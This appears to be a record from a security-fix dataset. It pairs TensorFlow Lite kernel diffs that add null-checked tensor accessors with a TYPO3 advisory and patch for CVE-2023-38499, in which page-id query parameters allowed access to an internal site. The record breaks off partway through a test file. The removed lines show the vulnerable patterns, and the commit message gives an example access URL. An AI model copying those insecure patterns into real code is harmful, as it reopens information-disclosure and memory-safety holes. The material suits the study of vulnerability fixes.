   TfLiteIntArray* output_size_array = TfLiteIntArrayCreate(3);
@@ -112,7 +121,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     TfLiteIntArrayFree(node->temporaries);
     node->temporaries = TfLiteIntArrayCreate(6);
     node->temporaries->data[0] = op_data->scratch_tensor_index;
-    TfLiteTensor* input_quantized = GetTemporary(context, node, /*index=*/0);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/0,
+                                                &input_quantized));
     input_quantized->type = input_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -121,8 +132,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        input_quantized_size));
     }
     node->temporaries->data[1] = op_data->scratch_tensor_index + 1;
-    TfLiteTensor* hidden_state_quantized =
-        GetTemporary(context, node, /*index=*/1);
+    TfLiteTensor* hidden_state_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/1,
+                                                &hidden_state_quantized));
     hidden_state_quantized->type = input_weights->type;
     hidden_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(hidden_state_quantized->dims,
@@ -134,7 +146,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                               hidden_state_quantized_size));
     }
     node->temporaries->data[2] = op_data->scratch_tensor_index + 2;
-    TfLiteTensor* scaling_factors = GetTemporary(context, node, /*index=*/2);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, /*index=*/2,
+                                                &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {batch_size};
@@ -145,7 +159,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        scaling_factors_size));
     }
     node->temporaries->data[3] = op_data->scratch_tensor_index + 3;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, /*index=*/3);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/3, &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {num_units, batch_size};
@@ -158,7 +174,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        accum_scratch_size));
     }
     node->temporaries->data[4] = op_data->scratch_tensor_index + 4;
-    TfLiteTensor* zero_points = GetTemporary(context, node, /*index=*/4);
+    TfLiteTensor* zero_points;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, /*index=*/4, &zero_points));
     zero_points->type = kTfLiteInt32;
     zero_points->allocation_type = kTfLiteArenaRw;
     int zero_points_dims[1] = {batch_size};
@@ -169,7 +187,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        zero_points_size));
     }
     node->temporaries->data[5] = op_data->scratch_tensor_index + 5;
-    TfLiteTensor* row_sums = GetTemporary(context, node, /*index=*/5);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, /*index=*/5, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_dims[2] = {2, num_units};
@@ -335,15 +355,24 @@ TfLiteStatus EvalHybrid(
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteSequenceRNNParams*>(node->builtin_data);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* input_weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* recurrent_weights =
-      GetInput(context, node, kRecurrentWeightsTensor);
-  const TfLiteTensor* bias = GetInput(context, node, kBiasTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* input_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTensor, &input_weights));
+  const TfLiteTensor* recurrent_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, kRecurrentWeightsTensor, &recurrent_weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBiasTensor, &bias));
   // The hidden_state is a variable input tensor that can be modified.
   TfLiteTensor* hidden_state =
-      const_cast<TfLiteTensor*>(GetInput(context, node, kHiddenStateTensor));
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+      GetVariableInput(context, node, kHiddenStateTensor);
+  TF_LITE_ENSURE(context, hidden_state != nullptr);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   switch (input_weights->type) {
     case kTfLiteFloat32:
@@ -353,12 +382,23 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteInt8: {
       // TODO(mirkov): implement eval with quantized inputs as well.
       auto* op_data = reinterpret_cast<OpData*>(node->user_data);
-      TfLiteTensor* input_quantized = GetTemporary(context, node, 0);
-      TfLiteTensor* hidden_state_quantized = GetTemporary(context, node, 1);
-      TfLiteTensor* scaling_factors = GetTemporary(context, node, 2);
-      TfLiteTensor* accum_scratch = GetTemporary(context, node, 3);
-      TfLiteTensor* zero_points = GetTemporary(context, node, 4);
-      TfLiteTensor* row_sums = GetTemporary(context, node, 5);
+      TfLiteTensor* input_quantized;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 0, &input_quantized));
+      TfLiteTensor* hidden_state_quantized;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, 1, &hidden_state_quantized));
+      TfLiteTensor* scaling_factors;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 2, &scaling_factors));
+      TfLiteTensor* accum_scratch;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 3, &accum_scratch));
+      TfLiteTensor* zero_points;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, 4, &zero_points));
+      TfLiteTensor* row_sums;
+      TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, 5, &row_sums));
       return EvalHybrid(input, input_weights, recurrent_weights, bias, params,
                         input_quantized, hidden_state_quantized,
                         scaling_factors, hidden_state, output, zero_points,
diff --git a/tensorflow/lite/kernels/unique.cc b/tensorflow/lite/kernels/unique.cc
index dd5c801b46836c..db2610fd6429b1 100644
--- a/tensorflow/lite/kernels/unique.cc
+++ b/tensorflow/lite/kernels/unique.cc
@@ -44,11 +44,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output_unique_tensor =
-      GetOutput(context, node, kOutputUniqueTensor);
-  TfLiteTensor* output_index_tensor =
-      GetOutput(context, node, kOutputIndexTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output_unique_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputUniqueTensor,
+                                           &output_unique_tensor));
+  TfLiteTensor* output_index_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputIndexTensor,
+                                           &output_index_tensor));
 
   // The op only supports 1D input.
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 1);
@@ -70,7 +73,8 @@ TfLiteStatus EvalImpl(TfLiteContext* context, const TfLiteTensor* input,
   // Note that we prefer to use map than unordered_map as it showed less
   // increase in the binary size.
   std::map<T, int> unique_values;
-  TfLiteTensor* output_indexes = GetOutput(context, node, 1);
+  TfLiteTensor* output_indexes;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 1, &output_indexes));
   std::vector<T> output_values;
   I* indexes = GetTensorData<I>(output_indexes);
   const T* data = GetTensorData<T>(input);
@@ -88,7 +92,8 @@ TfLiteStatus EvalImpl(TfLiteContext* context, const TfLiteTensor* input,
     }
   }
   // Allocate output tensor.
-  TfLiteTensor* unique_output = GetOutput(context, node, 0);
+  TfLiteTensor* unique_output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &unique_output));
   std::unique_ptr<TfLiteIntArray, void (*)(TfLiteIntArray*)> shape(
       TfLiteIntArrayCreate(NumDimensions(input)), TfLiteIntArrayFree);
   shape->data[0] = unique_values.size();
@@ -127,8 +132,11 @@ TfLiteStatus EvalImpl(TfLiteContext* context, const TfLiteTensor* input,
 }  // namespace
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  TfLiteTensor* output_index_tensor = GetOutput(context, node, 1);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  TfLiteTensor* output_index_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, 1, &output_index_tensor));
   TF_LITE_ENSURE_EQ(context, NumElements(output_index_tensor),
                     NumElements(input));
 
diff --git a/tensorflow/lite/kernels/unpack.cc b/tensorflow/lite/kernels/unpack.cc
index a41556ed079779..685d19bdd07699 100644
--- a/tensorflow/lite/kernels/unpack.cc
+++ b/tensorflow/lite/kernels/unpack.cc
@@ -38,7 +38,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), data->num);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   TF_LITE_ENSURE(context, NumElements(input) > 0);
   int axis = data->axis;
   if (axis < 0) {
@@ -67,7 +68,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, data->num, input_shape->data[axis]);
   for (int i = 0; i < data->num; ++i) {
     TfLiteIntArray* copied_output_shape = TfLiteIntArrayCopy(output_shape);
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     TF_LITE_ENSURE_TYPES_EQ(context, output->type, input->type);
     // Guarantee input/output quantization params match as we do not support
     // rescaling of unpacked quantized tensors.
@@ -98,7 +100,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const TfLiteUnpackParams* data =
       reinterpret_cast<TfLiteUnpackParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   switch (input->type) {
     case kTfLiteFloat32: {
       UnpackImpl<float>(context, node, input, data->num, data->axis);
diff --git a/tensorflow/lite/kernels/where.cc b/tensorflow/lite/kernels/where.cc
index 8eb09bf2798373..5169902a296f64 100644
--- a/tensorflow/lite/kernels/where.cc
+++ b/tensorflow/lite/kernels/where.cc
@@ -56,9 +56,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* cond_tensor =
-      GetInput(context, node, kInputConditionTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* cond_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputConditionTensor,
+                                          &cond_tensor));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (cond_tensor->type != kTfLiteBool) {
     context->ReportError(context,
@@ -81,9 +84,12 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* cond_tensor =
-      GetInput(context, node, kInputConditionTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* cond_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputConditionTensor,
+                                          &cond_tensor));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (IsDynamicTensor(output)) {
     TF_LITE_ENSURE_OK(context,
diff --git a/tensorflow/lite/kernels/while.cc b/tensorflow/lite/kernels/while.cc
index b50cdff99741b1..1b55f5ee8fb6e9 100644
--- a/tensorflow/lite/kernels/while.cc
+++ b/tensorflow/lite/kernels/while.cc
@@ -195,7 +195,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
   }
   for (int i = 0; i < num_inputs; ++i) {
-    TfLiteTensor* output = GetOutput(context, node, i);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &output));
     if (op_data->body_has_dynamic_output_tensors) {
       SetTensorToDynamic(output);
     } else {
diff --git a/tensorflow/lite/kernels/zeros_like.cc b/tensorflow/lite/kernels/zeros_like.cc
index 8586c945e7cd18..d71006ed13ab43 100644
--- a/tensorflow/lite/kernels/zeros_like.cc
+++ b/tensorflow/lite/kernels/zeros_like.cc
@@ -32,8 +32,11 @@ constexpr int kOutputTensor = 0;
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   output->type = input->type;
 
   return context->ResizeTensor(context, output,
@@ -41,8 +44,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   const int num_elements = NumElements(input);
   switch (input->type) {
     case kTfLiteInt64:", "url": "https://github.com/tensorflow/tensorflow/commit/1970c2158b1ffa416d159d03c3370b9a462aee35.patch" } ]
null
GHSA-jq6g-4v5m-wm9r
Information Disclosure due to Out-of-scope Site Resolution
null
[ { "commit_message": "[PATCH] [SECURITY] Avoid out-of-scope page access for non-matching site This change disallows calling an URI with page-id query parameters that are not part of a particular site - for instance the following URL `https://example.org/?id=3000&L=0` has two aspects: * the site `example.org` has the root page-id 1000 * the site `internal.example.org` has the root page-id 3000 The example above allows to call a page-id for an internal site, by using a valid and public entry point. The new feature flag `security.frontend.allowInsecureSiteResolutionByQueryParameters` allows to control this behavior for backward compatibility reasons. Per default `allowInsecureSiteResolutionByQueryParameters` is disabled. Resolves: #100889 Releases: main, 12.4, 11.5 Change-Id: I88d565b5d9bea556b4f754c3069d56124cea98bd Security-Bulletin: TYPO3-CORE-SA-2023-003 Security-References: CVE-2023-38499 Reviewed-on: https://review.typo3.org/c/Packages/TYPO3.CMS/+/80159 Tested-by: Oliver Hader <oliver.hader@typo3.org> Reviewed-by: Oliver Hader <oliver.hader@typo3.org> .../core/Classes/Routing/SiteMatcher.php | 178 ++++++++++++------ .../core/Classes/Routing/SiteRouteResult.php | 11 ++ .../Configuration/DefaultConfiguration.php | 1 + .../DefaultConfigurationDescription.yaml | 3 + .../Tests/Unit/Routing/SiteMatcherTest.php | 23 ++- ...esolutionByQueryParametersDisabledTest.php | 116 ++++++++++++ ...ResolutionByQueryParametersEnabledTest.php | 118 ++++++++++++ .../SiteHandling/SlugSiteRequestTest.php | 6 + .../Unit/Middleware/SiteResolverTest.php | 26 ++- 9 files changed, 416 insertions(+), 66 deletions(-) create mode 100644 typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest.php create mode 100644 typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest.php", "patch_text_b64": "From 702e2debd4b28f9cdb540544565fe6a8627ccb6a Mon Sep 17 00:00:00 2001
From: Oliver Hader <oliver@typo3.org>
Date: Tue, 25 Jul 2023 10:03:49 +0200
Subject: [PATCH] [SECURITY] Avoid out-of-scope page access for non-matching
 site

This change disallows calling an URI with page-id query parameters
that are not part of a particular site - for instance the following
URL `https://example.org/?id=3000&L=0` has two aspects:

* the site `example.org` has the root page-id 1000
* the site `internal.example.org` has the root page-id 3000

The example above allows to call a page-id for an internal site,
by using a valid and public entry point.

The new feature flag
`security.frontend.allowInsecureSiteResolutionByQueryParameters`
allows to control this behavior for backward compatibility reasons.
Per default `allowInsecureSiteResolutionByQueryParameters` is disabled.

Resolves: #100889
Releases: main, 12.4, 11.5
Change-Id: I88d565b5d9bea556b4f754c3069d56124cea98bd
Security-Bulletin: TYPO3-CORE-SA-2023-003
Security-References: CVE-2023-38499
Reviewed-on: https://review.typo3.org/c/Packages/TYPO3.CMS/+/80159
Tested-by: Oliver Hader <oliver.hader@typo3.org>
Reviewed-by: Oliver Hader <oliver.hader@typo3.org>
---
 .../core/Classes/Routing/SiteMatcher.php      | 178 ++++++++++++------
 .../core/Classes/Routing/SiteRouteResult.php  |  11 ++
 .../Configuration/DefaultConfiguration.php    |   1 +
 .../DefaultConfigurationDescription.yaml      |   3 +
 .../Tests/Unit/Routing/SiteMatcherTest.php    |  23 ++-
 ...esolutionByQueryParametersDisabledTest.php | 116 ++++++++++++
 ...ResolutionByQueryParametersEnabledTest.php | 118 ++++++++++++
 .../SiteHandling/SlugSiteRequestTest.php      |   6 +
 .../Unit/Middleware/SiteResolverTest.php      |  26 ++-
 9 files changed, 416 insertions(+), 66 deletions(-)
 create mode 100644 typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest.php
 create mode 100644 typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest.php

diff --git a/typo3/sysext/core/Classes/Routing/SiteMatcher.php b/typo3/sysext/core/Classes/Routing/SiteMatcher.php
index 2097a77a8886..9bf471f86321 100644
--- a/typo3/sysext/core/Classes/Routing/SiteMatcher.php
+++ b/typo3/sysext/core/Classes/Routing/SiteMatcher.php
@@ -18,9 +18,11 @@
 namespace TYPO3\CMS\Core\Routing;
 
 use Psr\Http\Message\ServerRequestInterface;
+use Psr\Http\Message\UriInterface;
 use Symfony\Component\Routing\Exception\NoConfigurationException;
 use Symfony\Component\Routing\Exception\ResourceNotFoundException;
 use TYPO3\CMS\Core\Cache\CacheManager;
+use TYPO3\CMS\Core\Configuration\Features;
 use TYPO3\CMS\Core\Exception\SiteNotFoundException;
 use TYPO3\CMS\Core\Http\NormalizedParams;
 use TYPO3\CMS\Core\SingletonInterface;
@@ -48,6 +50,7 @@
 class SiteMatcher implements SingletonInterface
 {
     public function __construct(
+        protected readonly Features $features,
         protected readonly SiteFinder $finder,
         protected readonly RequestContextFactory $requestContextFactory
     ) {
@@ -79,75 +82,42 @@ public function refresh()
      */
     public function matchRequest(ServerRequestInterface $request): RouteResultInterface
     {
-        $site = new NullSite();
-        $language = null;
-        $defaultLanguage = null;
+        // Remove script file name (index.php) from request uri
+        $uri = $this->canonicalizeUri($request->getUri(), $request);
+        $pageId = $this->resolvePageIdQueryParam($request);
+        $languageId = $this->resolveLanguageIdQueryParam($request);
 
-        $pageId = $request->getQueryParams()['id'] ?? $request->getParsedBody()['id'] ?? 0;
+        $routeResult = $this->matchSiteByUri($uri, $request);
 
-        // First, check if we have a _GET/_POST parameter for "id", then a site information can be resolved based.
-        if ($pageId > 0) {
-            // Loop over the whole rootline without permissions to get the actual site information
-            try {
-                $site = $this->finder->getSiteByPageId((int)$pageId);
-                // If a "L" parameter is given, we take that one into account.
-                $languageId = $request->getQueryParams()['L'] ?? $request->getParsedBody()['L'] ?? null;
-                if ($languageId !== null) {
-                    $language = $site->getLanguageById((int)$languageId);
-                } else {
-                    // Use this later below
-                    $defaultLanguage = $site->getDefaultLanguage();
-                }
-            } catch (SiteNotFoundException $e) {
-                // No site found by the given page
-            } catch (\InvalidArgumentException $e) {
-                // The language fetched by getLanguageById() was not available, now the PSR-15 middleware
-                // redirects to the default page.
-            }
+        // Allow insecure pageId based site resolution if explicitly enabled and only if both, ?id= and ?L= are defined
+        // (pageId based site resolution without L parameter has always been prohibited, so we do not support that)
+        if (
+            $this->features->isFeatureEnabled('security.frontend.allowInsecureSiteResolutionByQueryParameters') &&
+            $pageId !== null && $languageId !== null
+        ) {
+            return $this->matchSiteByQueryParams($pageId, $languageId, $routeResult, $uri);
         }
 
-        $uri = $request->getUri();
-        if (!empty($uri->getPath())) {
-            $normalizedParams = $request->getAttribute('normalizedParams');
-            if ($normalizedParams instanceof NormalizedParams) {
-                $urlPath = ltrim($uri->getPath(), '/');
-                $scriptName = ltrim($normalizedParams->getScriptName(), '/');
-                $scriptPath = ltrim($normalizedParams->getSitePath(), '/');
-                if ($scriptName !== '' && str_starts_with($urlPath, $scriptName)) {
-                    $urlPath = '/' . $scriptPath . substr($urlPath, mb_strlen($scriptName));
-                    $uri = $uri->withPath($urlPath);
-                }
-            }
+        // Allow the default language to be resolved in case all languages use a prefix
+        // and therefore did not match based on path if an explicit pageId is given,
+        // (example "https://www.example.com/?id=.." was entered, but all languages have "https://www.example.com/lang-key/")
+        // @todo remove this fallback, in order for SiteBaseRedirectResolver to produce a redirect instead (requires functionals to be adapted)
+        if ($pageId !== null && $routeResult->getLanguage() === null) {
+            $routeResult = $routeResult->withLanguage($routeResult->getSite()->getDefaultLanguage());
         }
 
-        // No language found at this point means that the URL was not used with a valid "?id=1&L=2" parameter
-        // which resulted in a site / language combination that was found. Now, the matching is done
-        // on the incoming URL.
-        if (!($language instanceof SiteLanguage)) {
-            $collection = $this->getRouteCollectionForAllSites();
-            $requestContext = $this->requestContextFactory->fromUri($uri, $request->getMethod());
-            $matcher = new BestUrlMatcher($collection, $requestContext);
+        // adjust the language aspect if it was given by query param `&L` (and ?id is given)
+        // @todo remove, this is added for backwards (and functional tests) compatibility reasons
+        if ($languageId !== null && $pageId !== null) {
             try {
-                $result = $matcher->match($uri->getPath());
-                return new SiteRouteResult(
-                    $uri,
-                    $result['site'],
-                    // if no language is found, this usually results due to "/" called instead of "/fr/"
-                    // but it could also be the reason that "/index.php?id=23" was called, so the default
-                    // language is used as a fallback here then.
-                    $result['language'] ?? $defaultLanguage,
-                    $result['tail']
-                );
-            } catch (NoConfigurationException | ResourceNotFoundException $e) {
-                // At this point we discard a possible found site via ?id=123
-                // Because ?id=123 _can_ only work if the actual domain/site base works
-                // so www.domain-without-site-configuration/index.php?id=123 (where 123 is a page referring
-                // to a page within a site configuration will never be resolved here) properly
-                $site = new NullSite();
+                // override/set language by `&L=` query param
+                $routeResult = $routeResult->withLanguage($routeResult->getSite()->getLanguageById($languageId));
+            } catch (\InvalidArgumentException) {
+                // ignore; language id not available
             }
         }
 
-        return new SiteRouteResult($uri, $site, $language);
+        return $routeResult;
     }
 
     /**
@@ -206,4 +176,94 @@ protected function getRouteCollectionForAllSites(): RouteCollection
         }
         return $collection;
     }
+
+    /**
+     * @return ?positive-int
+     */
+    protected function resolvePageIdQueryParam(ServerRequestInterface $request): ?int
+    {
+        $pageId = $request->getQueryParams()['id'] ?? $request->getParsedBody()['id'] ?? null;
+        if ($pageId === null) {
+            return null;
+        }
+        return (int)$pageId <= 0 ? null : (int)$pageId;
+    }
+
+    /**
+     * @return ?positive-int
+     */
+    protected function resolveLanguageIdQueryParam(ServerRequestInterface $request): ?int
+    {
+        $languageId = $request->getQueryParams()['L'] ?? $request->getParsedBody()['L'] ?? null;
+        if ($languageId === null) {
+            return null;
+        }
+        return (int)$languageId < 0 ? null : (int)$languageId;
+    }
+
+    /**
+     * Remove script file name (index.php) from request uri
+     */
+    protected function canonicalizeUri(UriInterface $uri, ServerRequestInterface $request): UriInterface
+    {
+        if ($uri->getPath() === '') {
+            return $uri;
+        }
+
+        $normalizedParams = $request->getAttribute('normalizedParams');
+        if (!$normalizedParams instanceof NormalizedParams) {
+            return $uri;
+        }
+
+        $urlPath = ltrim($uri->getPath(), '/');
+        $scriptName = ltrim($normalizedParams->getScriptName(), '/');
+        $scriptPath = ltrim($normalizedParams->getSitePath(), '/');
+        if ($scriptName !== '' && str_starts_with($urlPath, $scriptName)) {
+            $urlPath = '/' . $scriptPath . substr($urlPath, mb_strlen($scriptName));
+            $uri = $uri->withPath($urlPath);
+        }
+
+        return $uri;
+    }
+
+    protected function matchSiteByUri(UriInterface $uri, ServerRequestInterface $request): SiteRouteResult
+    {
+        $collection = $this->getRouteCollectionForAllSites();
+        $requestContext = $this->requestContextFactory->fromUri($uri, $request->getMethod());
+        $matcher = new BestUrlMatcher($collection, $requestContext);
+        try {
+            /** @var array{site: SiteInterface, language: ?SiteLanguage, tail: string} $match */
+            $match = $matcher->match($uri->getPath());
+            return new SiteRouteResult(
+                $uri,
+                $match['site'],
+                $match['language'],
+                $match['tail']
+            );
+        } catch (NoConfigurationException | ResourceNotFoundException) {
+            return new SiteRouteResult($uri, new NullSite(), null, '');
+        }
+    }
+
+    protected function matchSiteByQueryParams(
+        int $pageId,
+        int $languageId,
+        SiteRouteResult $fallback,
+        UriInterface $uri,
+    ): SiteRouteResult {
+        try {
+            $site = $this->finder->getSiteByPageId($pageId);
+        } catch (SiteNotFoundException) {
+            return $fallback;
+        }
+
+        try {
+            // override/set language by `&L=` query param
+            $language = $site->getLanguageById($languageId);
+        } catch (\InvalidArgumentException) {
+            return $fallback;
+        }
+
+        return new SiteRouteResult($uri, $site, $language);
+    }
 }
diff --git a/typo3/sysext/core/Classes/Routing/SiteRouteResult.php b/typo3/sysext/core/Classes/Routing/SiteRouteResult.php
index 6a486f8d2e19..1acd200c0fac 100644
--- a/typo3/sysext/core/Classes/Routing/SiteRouteResult.php
+++ b/typo3/sysext/core/Classes/Routing/SiteRouteResult.php
@@ -95,6 +95,17 @@ public function offsetExists($offset): bool
         return in_array($offset, $this->validProperties, true) || isset($this->data[$offset]);
     }
 
+    /**
+     * @internal
+     */
+    public function withLanguage(SiteLanguage $language): self
+    {
+        $clone = clone $this;
+        $clone->language = $language;
+
+        return $clone;
+    }
+
     /**
      * @param mixed $offset
      * @return mixed|UriInterface|string|SiteInterface|SiteLanguage
diff --git a/typo3/sysext/core/Configuration/DefaultConfiguration.php b/typo3/sysext/core/Configuration/DefaultConfiguration.php
index 8b093f1fd3fb..880a4c6063a7 100644
--- a/typo3/sysext/core/Configuration/DefaultConfiguration.php
+++ b/typo3/sysext/core/Configuration/DefaultConfiguration.php
@@ -76,6 +76,7 @@
             'security.backend.enforceReferrer' => true,
             'security.backend.enforceContentSecurityPolicy' => false,
             'security.frontend.enforceContentSecurityPolicy' => false,
+            'security.frontend.allowInsecureSiteResolutionByQueryParameters' => false,
             'security.usePasswordPolicyForFrontendUsers' => false,
         ],
         'createGroup' => '',
diff --git a/typo3/sysext/core/Configuration/DefaultConfigurationDescription.yaml b/typo3/sysext/core/Configuration/DefaultConfigurationDescription.yaml
index 6dc39b4118dc..869dac0a84a2 100644
--- a/typo3/sysext/core/Configuration/DefaultConfigurationDescription.yaml
+++ b/typo3/sysext/core/Configuration/DefaultConfigurationDescription.yaml
@@ -210,6 +210,9 @@ SYS:
               security.frontend.enforceContentSecurityPolicy:
                 type: bool
                 description: 'If on, HTTP Content-Security-Policy header will be applied for each HTTP frontend request.'
+              security.frontend.allowInsecureSiteResolutionByQueryParameters:
+                type: bool
+                description: 'If on, site resolution can be overwritten by `&id=...&L=...` parameters, URI path & host are just used as default.'
               security.usePasswordPolicyForFrontendUsers:
                 type: bool
                 description: 'If on, the configured password policy in `$GLOBALS[TYPO3_CONF_VARS][FE][passwordPolicy]`
diff --git a/typo3/sysext/core/Tests/Unit/Routing/SiteMatcherTest.php b/typo3/sysext/core/Tests/Unit/Routing/SiteMatcherTest.php
index d0d6fdb15b5e..ff48dd050f98 100644
--- a/typo3/sysext/core/Tests/Unit/Routing/SiteMatcherTest.php
+++ b/typo3/sysext/core/Tests/Unit/Routing/SiteMatcherTest.php
@@ -17,6 +17,8 @@
 
 namespace TYPO3\CMS\Core\Tests\Unit\Routing;
 
+use PHPUnit\Framework\MockObject\MockObject;
+use TYPO3\CMS\Core\Configuration\Features;
 use TYPO3\CMS\Core\Configuration\SiteConfiguration;
 use TYPO3\CMS\Core\Http\ServerRequest;
 use TYPO3\CMS\Core\Routing\BackendEntryPointResolver;
